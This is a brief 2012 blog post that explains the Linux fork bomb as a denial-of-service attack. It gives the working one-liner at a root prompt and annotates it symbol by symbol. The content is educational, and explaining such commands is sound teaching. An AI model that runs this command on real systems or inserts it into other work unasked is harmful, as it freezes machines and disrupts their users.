Linux Fork Bomb
March 16, 2012 1 Comment
Fork bomb is a form of denial-of-service attack against a computer system. Fork bombs typically do not spread as worms or viruses, but it works by creating a large number of processes very quickly in order to saturate the available space in the list of processes kept by the operating system. If the process table becomes saturated, no new programs can start
Syntax : [root@server ~]# :(){ :|: & };:
:( ) # define a function ‘:’ — so whenever we say ‘:’, execute this function
{ # beginning of what to do when we say ‘:’
: # load another copy of the ‘:’ function into memory…
| # …and pipe its output to…
: # …another copy of ‘:’ function, which has to be loaded into memory
# (therefore, ‘:|:’ simply gets two copies of ‘:’ loaded whenever ‘:’ is called)
& # disown the functions — if the first ‘:’ is killed, # all of the functions that it has started should NOT be auto-killed }
# end of what to do when we say’:’
; # Having defined ‘:’, we should now…
: # …call ‘:’, initiating a chain-reaction: each ‘:’ will start two more.
Ref : http://www.switchroot.com/how-to-create-a-linux-fork-bomb